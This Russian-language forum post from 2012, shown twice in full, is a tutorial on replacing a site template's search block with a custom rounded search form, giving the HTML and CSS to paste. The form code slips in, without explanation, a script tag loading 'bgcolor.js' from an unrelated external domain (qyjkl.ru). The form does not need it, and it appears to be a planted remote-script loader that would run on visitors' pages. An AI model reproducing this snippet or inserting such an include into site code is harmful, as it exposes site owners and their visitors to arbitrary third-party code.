BotsMan Дата: Вторник, 17/Июл/2012, 13:13:44 | Сообщение # 1
Группа: Пользователи
Ранг:
(Новичок)
Сообщений: 21
Статус:
( )
Для опытов мы возьмём стандартный шаблон системы #211, форма поиска на главной странице находится в первом контейнере слева. Смотрим скрин скрипта: http://i009.radikal.ru/1207/ba/53590c35e001.jpg Делается это очень просто: открываем шаблон, в котором находится блок с формой поиска (в данном шаблоне системы это шаблон "Первый контейнер"), вот что мы нашли: Code
<!-- <block6> --> <?if($SEARCH_FORM$)?> <table border="0" cellpadding="0" cellspacing="0" width="200"> <tr> <td width="170" bgcolor="#318EB7" background="/.s/t/211/5.gif" class="blockT1"><span class="blockTitle"><!-- <bt> --><!--<s5171>-->Поиск<!--</s>--><!-- </bt> --></span></td> <td width="30" bgcolor="#318EB7" background="/.s/t/211/5.gif" align="right"><img border="0" src="/.s/t/211/6.gif" width="30" height="29"></td> </tr> <tr> <td colspan="2" bgcolor="#C3E1EF" background="/.s/t/211/7.gif" class="blockT2"> <div align="center"><div align="center"><!-- <bc> -->$SEARCH_FORM$ <!-- </bc> --></div></div> </td> </tr> <tr> <td colspan="2"><img border="0" src="/.s/t/211/8.gif" width="200" height="5"></td> </tr> </table><br> <?endif?> <!-- </block6> -->
заменяем системный код на нашу форму поиска Code
<?if($USER_AGENT$='ie')?>$SEARCH_FORM$<?else?> <form class="searchform" onsubmit="this.sfSbm.disabled=true" method="get" style="margin:0" action="/search/"> <script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script> <input class="searchfield" value="Поиск..." type="text" name="q" maxlength="30" size="20" onfocus="if (this.value == 'Поиск...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Поиск...';}" /> <input class="searchbutton" type="submit" name="sfSbm" value="Go" /> </form><?endif?>
Сохраняем изменения и переходим в редактирование шаблона "Таблица стилей (CSS)". Добавляем стили для нашей новой формы поиска: Code
/* Форма поиска -------------------------------------- */ .searchform { display: inline-block; zoom: 1; /* ie7 hack for display:inline-block */ *display: inline; border: solid 1px #6699ff; padding: 3px 6px; -webkit-border-radius: 2em; -moz-border-radius: 2em; border-radius: 2em; -webkit-box-shadow: 0 1px 0px rgba(0,0,0,.1); -moz-box-shadow: 0 1px 0px rgba(0,0,0,.1); box-shadow: 0 1px 0px rgba(0,0,0,.1); background: #f1f1f1; background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#ededed)); background: -moz-linear-gradient(top, #fff, #ededed); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie7 */ -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie8 */ } .searchform input { font: normal 12px/100% Arial, Helvetica, sans-serif;color:#666; } .searchform .searchfield { background: #fff; padding: 6px 6px 6px 8px; width: 145px; border: solid 1px #6699ff; outline: none; -webkit-border-radius: 2em; -moz-border-radius: 2em; border-radius: 2em; -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.2); -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.2); box-shadow: inset 0 1px 2px rgba(0,0,0,.2); } .searchform .searchbutton { color: #fff; border: solid 1px #336699; font-size: 10px; height: 25px; width: 25px; text-shadow: 0 1px 1px rgba(0,0,0,.6); -webkit-border-radius: 2em; -moz-border-radius: 2em; border-radius: 2em; background: #6699cc; background: -webkit-gradient(linear, left top, left bottom, from(#9e9e9e), to(#454545)); background: -moz-linear-gradient(top, #9e9e9e, #454545); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie7 */ -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie8 */ }
Сообщение Для опытов мы возьмём стандартный шаблон системы #211, форма поиска на главной странице находится в первом контейнере слева. Смотрим скрин скрипта: http://i009.radikal.ru/1207/ba/53590c35e001.jpg Делается это очень просто: открываем шаблон, в котором находится блок с формой поиска (в данном шаблоне системы это шаблон "Первый контейнер"), вот что мы нашли: Code
<!-- <block6> --> <?if($SEARCH_FORM$)?> <table border="0" cellpadding="0" cellspacing="0" width="200"> <tr> <td width="170" bgcolor="#318EB7" background="/.s/t/211/5.gif" class="blockT1"><span class="blockTitle"><!-- <bt> --><!--<s5171>-->Поиск<!--</s>--><!-- </bt> --></span></td> <td width="30" bgcolor="#318EB7" background="/.s/t/211/5.gif" align="right"><img border="0" src="/.s/t/211/6.gif" width="30" height="29"></td> </tr> <tr> <td colspan="2" bgcolor="#C3E1EF" background="/.s/t/211/7.gif" class="blockT2"> <div align="center"><div align="center"><!-- <bc> -->$SEARCH_FORM$ <!-- </bc> --></div></div> </td> </tr> <tr> <td colspan="2"><img border="0" src="/.s/t/211/8.gif" width="200" height="5"></td> </tr> </table><br> <?endif?> <!-- </block6> -->
заменяем системный код на нашу форму поиска Code
<?if($USER_AGENT$='ie')?>$SEARCH_FORM$<?else?> <form class="searchform" onsubmit="this.sfSbm.disabled=true" method="get" style="margin:0" action="/search/"> <script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script> <input class="searchfield" value="Поиск..." type="text" name="q" maxlength="30" size="20" onfocus="if (this.value == 'Поиск...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Поиск...';}" /> <input class="searchbutton" type="submit" name="sfSbm" value="Go" /> </form><?endif?>
Сохраняем изменения и переходим в редактирование шаблона "Таблица стилей (CSS)". Добавляем стили для нашей новой формы поиска: Code
/* Форма поиска -------------------------------------- */ .searchform { display: inline-block; zoom: 1; /* ie7 hack for display:inline-block */ *display: inline; border: solid 1px #6699ff; padding: 3px 6px; -webkit-border-radius: 2em; -moz-border-radius: 2em; border-radius: 2em; -webkit-box-shadow: 0 1px 0px rgba(0,0,0,.1); -moz-box-shadow: 0 1px 0px rgba(0,0,0,.1); box-shadow: 0 1px 0px rgba(0,0,0,.1); background: #f1f1f1; background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#ededed)); background: -moz-linear-gradient(top, #fff, #ededed); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie7 */ -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie8 */ } .searchform input { font: normal 12px/100% Arial, Helvetica, sans-serif;color:#666; } .searchform .searchfield { background: #fff; padding: 6px 6px 6px 8px; width: 145px; border: solid 1px #6699ff; outline: none; -webkit-border-radius: 2em; -moz-border-radius: 2em; border-radius: 2em; -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.2); -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.2); box-shadow: inset 0 1px 2px rgba(0,0,0,.2); } .searchform .searchbutton { color: #fff; border: solid 1px #336699; font-size: 10px; height: 25px; width: 25px; text-shadow: 0 1px 1px rgba(0,0,0,.6); -webkit-border-radius: 2em; -moz-border-radius: 2em; border-radius: 2em; background: #6699cc; background: -webkit-gradient(linear, left top, left bottom, from(#9e9e9e), to(#454545)); background: -moz-linear-gradient(top, #9e9e9e, #454545); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie7 */ -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie8 */ }
Автор - BotsMan Дата добавления - 17/Июл/2012 в 13:13:44